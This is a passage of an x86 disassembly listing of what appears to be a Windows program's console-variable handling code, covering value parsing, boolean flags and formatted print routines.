		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B0D2:				; CODE XREF: sub_40B090+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B090	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B100	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B122
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B122:				; CODE XREF: sub_40B100+6j
		pop	ecx
		retn
sub_40B100	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B140	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B140	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B200	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B200	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2A0	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_40B2A0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B420	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B420	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B4C0	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B4C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B4C0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B5B0	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B631
		mov	edi, [esp+10h+arg_0]


loc_40B5F6:				; CODE XREF: sub_40B5B0+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B63B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B5F6


loc_40B631:				; CODE XREF: sub_40B5B0+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B63B:				; CODE XREF: sub_40B5B0+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B5B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B680:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438C98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B710	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B761
		mov	byte ptr [esi+19h], 1


loc_40B761:				; CODE XREF: sub_40B710+4Bj
		pop	esi
		retn	8
sub_40B710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B790	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7E5
		mov	byte ptr [esi+19h], 1


loc_40B7E5:				; CODE XREF: sub_40B790+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B820:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B871
		mov	byte ptr [esi+19h], 1


loc_40B871:				; CODE XREF: ___:0040B86Bj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8A0:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B8D0
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:0040B8A8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B940
		mov	byte ptr [esi+19h], 1


loc_40B940:				; CODE XREF: ___:0040B93Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438CD0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAA2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA9B


loc_40BA06:				; CODE XREF: ___:0040BA95j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 28C1E38h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA06


loc_40BA9B:				; CODE XREF: ___:0040BA00j
		mov	al, 1
		jmp	loc_40BC2A
; ---------------------------------------------------------------------------


loc_40BAA2:				; CODE XREF: ___:0040B997j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB35
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC28
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BC2A
; ---------------------------------------------------------------------------


loc_40BB35:				; CODE XREF: ___:0040BAB4j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC28
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC28
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC2A
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: ___:0040BAF0j
					; ___:0040BB47j ...
		xor	al, al


loc_40BC2A:				; CODE XREF: ___:0040BA9Dj
					; ___:0040BB30j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD00	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BD00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD40	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BD40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDB0	proc near		; CODE XREF: sub_401451j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014A6
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BDB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDF0	proc near		; CODE XREF: sub_401C71j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014A6
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BDF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE20	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BE20	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BED0	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BED0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEF0	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BEF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BF50	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BF50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014A6
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BFF0	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C04A


loc_40C008:				; CODE XREF: sub_40BFF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C008
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C04A:				; CODE XREF: sub_40BFF0+16j
